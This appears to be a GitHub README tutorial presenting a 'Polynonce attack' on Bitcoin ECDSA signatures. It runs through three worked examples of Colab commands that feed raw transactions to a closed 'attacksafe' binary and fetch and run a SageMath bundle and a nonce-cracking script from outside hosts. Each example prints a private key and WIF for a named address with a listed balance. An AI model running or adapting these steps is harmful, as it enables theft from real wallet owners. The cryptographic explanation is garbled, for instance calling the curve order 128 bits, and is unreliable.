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https://github.com/demining/polynonce-attack

POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key
https://github.com/demining/polynonce-attack

attack bitcoin bitcoin-wallet ecdsa ecdsa-cryptography ecdsa-signature polynonce privatekey privatekey-crack secp256k1

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POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key

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README 

          
# Polynonce Attack



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* Tutorial: https://youtu.be/7nKs_KHtyn4

* Tutorial: https://cryptodeeptech.ru/polynonce-attack



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In this article, we will again touch on the topic: “Bitcoin’s Critical Vulnerability” and use the brand new attack of 2023 “POLYNONCE ATTACK” on all three examples . The very first mention of this attack is described in an article from “Kudelski Security” .





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private keyhttps://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/




As a practical basis, we will take materials from our earlier article “ Speed ​​up secp256k1 with endomorphism” where the values ​​​​on the secp256k1 curve from Hal Finney   LAMBDA and BETA hide the depth of uncertainty of Bitcoin elliptic curves.





We can reveal a lotBinary number (4 digits): "1111" // Hex number: "F" //







POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private keyhttps://www.rapidtables.com/convert/number/hex-to-binary.html







We also know perfectly well the order of the secp256k1 curve which consists of 128 bits Binary number (4 digits): “1111” // Hex number: “F” //



n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141









1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001



We see that the polynomial as a unit in the binary code of an arbitrarily high degree of 128 bits modulo







POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key




Speed ​​up secp256k1 with endomorphism








Given this fact, the initial bit of the Bitcoin private key will be Binary number (4 digits): “1111” // Hex number: “F” //








For a theoretical basis, we will take materials:



“Polynonce Attack on Bitcoin”





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private keyhttps://attacksafe.ru/polynonce-attack-on-bitcoin









Consider an example with a Bitcoin Address:





1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key



929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






RawTX



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000








Let’s go to the official website:  https://colab.research.google.com







Select the option  “Upload notebook”







POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key











Download the file:  POLYNONCE_ATTACK.ipynb














POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key







Load HEXthe -data through the utility echo and save it to a file: RawTX.txt





!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key







To implement the attack, we will use the software



 “ATTACKSAFE SOFTWARE”





Implement Frey-Rück Attack to get the secret key "K" (NONCE)www.attacksafe.ru/software




Access rights:



!chmod +x attacksafe






ls






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






Application:



!./attacksafe -help



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key



  -version:  software version 

  -list:     list of bitcoin attacks

  -tool:     indicate the attack

  -gpu:      enable gpu

  -time:     work timeout

  -server:   server mode

  -port:     server port

  -open:     open file

  -save:     save file

  -search:   vulnerability search

  -stop:     stop at mode

  -max:      maximum quantity in mode

  -min:      minimum quantity per mode

  -speed:    boost speed for mode

  -range:    specific range

  -crack:    crack mode

  -field:    starting field

  -point:    starting point

  -inject:   injection regimen

  -decode:   decoding mode






!./attacksafe -version



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key



Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]





"ATTACKSAFE SOFTWARE" includes all popular attacks on Bitcoin.





Let’s run a list of all attacks:



!./attacksafe -list



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






Let’s choose -tool: polynonce_attack





To get a specific HEXvalue R,S,Zfor the signature ECDSA, we previously added data  RawTX through the utility echoto a text document and saved it as a file RawTX.txt





02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000






Launch  -tool polynonce_attack using software “ATTACKSAFE SOFTWARE”







!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






We launched this attack from  -tool polynonce_attack and the result was saved to a file SignatureRSZ.csv



Now to see the successful result, open the file SignatureRSZ.csv






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






In order to calculate the private key to a Bitcoin Wallet from a file,  SignatureRSZ.csvwe will install SageMath





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key









Earlier we published an article , download  tar-file:  sage-9.3-Ubuntu_20.04-x86_64.tar.bz2








!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s go through the directory:





cd SageMath/






ls






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Run  relocate-once.py  with the command:Python-script: 





!python3 relocate-once.py



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Move "AttackSafe"to "SignatureRSZ.csv"folder"SageMath"





!mv '/content/attacksafe' '/content/SageMath/attacksafe'

!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






ls



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Download the script crack_weak_ECDSA_nonces_with_LLL.py from Dario Clavijo through the utility wget





!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Now let’s run  SageMath the command:








!./sage -sh



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters128 bits 4 sign





python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt






cat PrivateKey.txt






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s open the file:PrivateKey.txt





We received the private key to the Bitcoin Wallet in HEXthe format





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key




PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d






Check POLYNONCE for each ECDSA signature





To do this, use the code from GITHUB







POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private keyhttps://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py




Result:



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key





We received four identical initial128 bits





POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe






Thanks to the value on the secp256k1 curve from  Hal Finney   LAMBDA and BETA revealed to us the same initial bits 128 bits, since the initial bits of the private key to the Bitcoin Wallet begin withBinary number (4 digits): "1111" // Hex number: "F" //






Let’s check the HEX of the private key:





Install the modulebitcoin





!pip3 install bitcoin



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s run the code:





from bitcoin import *



with open("PrivateKey.txt","r") as f:

    content = f.readlines()



content = [x.strip() for x in content]

f.close()



outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s open the file:PrivateKeyAddr.txt





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private keyf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB






Let’s open  bitaddress  and check:



ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

WIF:  L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX

HEX:  f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key







https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB








POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key




BALANCE: $ 3699.40






Let’s look at other examples:






№2








Consider example #2 with a Bitcoin Address:





137a6fqt13bhtAkGZWrgcGM98NLCotszR2



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key



c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






RawTX



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000








Let’s remove the files from the first example:





!rm RawTX.txt

!rm NoncesHEX.txt

!rm PrivateKey.txt

!rm SignatureRSZ.csv

!rm PrivateKeyAddr.txt



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Load  HEX the -data through the utility  echo and save it to a file:  RawTX.txt





!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt




POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






Launch  -tool polynonce_attack using software “ATTACKSAFE SOFTWARE”







!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






We launched this attack from  -tool polynonce_attack and the result was saved to a file SignatureRSZ.csv



Now to see the successful result, open the file SignatureRSZ.csv






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s run  SageMath the command:








!./sage -sh



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 128 bits 4 sign





python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt






cat PrivateKey.txt






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s open the file: PrivateKey.txt





We received the private key to the Bitcoin Wallet in  HEX the format





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key




PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c






Check POLYNONCE for each ECDSA signature





To do this, use the code from GITHUB







POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private keyhttps://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py




Result:



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key





We received four identical initial128 bits





POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95

POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149

POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722

POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7






Thanks to the value on the secp256k1 curve from  Hal Finney   LAMBDA and BETA revealed to us the same initial bits 128 bits, since the initial bits of the private key to the Bitcoin Wallet begin withBinary number (4 digits): "1111" // Hex number: "F" //






Let’s check the HEX of the private key:





Let’s run the code:





from bitcoin import *



with open("PrivateKey.txt","r") as f:

    content = f.readlines()



content = [x.strip() for x in content]

f.close()



outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s open the file: PrivateKeyAddr.txt





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






Let’s open  bitaddress  and check:



ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2

WIF:  L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo

HEX:  ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key







https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2








POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key




BALANCE: $ 1133.73






Let’s look at other examples:






№3








Consider example #3 with a Bitcoin Address:





1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key



fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






RawTX



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000








Let’s remove the files from the second example:





!rm RawTX.txt

!rm NoncesHEX.txt

!rm PrivateKey.txt

!rm SignatureRSZ.csv

!rm PrivateKeyAddr.txt



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Load  HEX the -data through the utility  echo and save it to a file:  RawTX.txt





!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt




POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






Launch  -tool polynonce_attack using software “ATTACKSAFE SOFTWARE”







!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






We launched this attack from  -tool polynonce_attack and the result was saved to a file SignatureRSZ.csv



Now to see the successful result, open the file SignatureRSZ.csv






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s run  SageMath the command:








!./sage -sh



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 128 bits 4 sign





python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt






cat PrivateKey.txt






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s open the file: PrivateKey.txt





We received the private key to the Bitcoin Wallet in  HEX the format





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key




PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf






Check POLYNONCE for each ECDSA signature





To do this, use the code from GITHUB







POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private keyhttps://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py




Result:



POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key





We received four identical initial128 bits





POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1

POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467

POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72

POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18






Thanks to the value on the secp256k1 curve from  Hal Finney   LAMBDA and BETA revealed to us the same initial bits 128 bits, since the initial bits of the private key to the Bitcoin Wallet begin withBinary number (4 digits): "1111" // Hex number: "F" //






Let’s check the HEX of the private key:





Let’s run the code:





from bitcoin import *



with open("PrivateKey.txt","r") as f:

    content = f.readlines()



content = [x.strip() for x in content]

f.close()



outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key








Let’s open the file: PrivateKeyAddr.txt





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






Let’s open  bitaddress  and check:



ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

WIF:  L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY

HEX:  fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf





POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key







https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt








POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key






POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key




BALANCE: $ 459.24






Literature:



    

  • A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)
    • 




    

  • 

    Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)

    • 


  • 

    Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)

    • 


  • 

    Hal Finney. bitcointalk –  “Acceleration of signature verification” . (2011)  https://bitcointalk.org/index.php?topic=3238.0

    • 


  • 

    Blahut, Richard E.  “Cryptography and Secure Communication” . Cambridge University Press, (2014)

    • 







Source



ATTACKSAFE SOFTWARE



Telegram: https://t.me/cryptodeeptech



Video: https://youtu.be/7nKs_KHtyn4



Source: https://cryptodeeptech.ru/polynonce-attack








POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key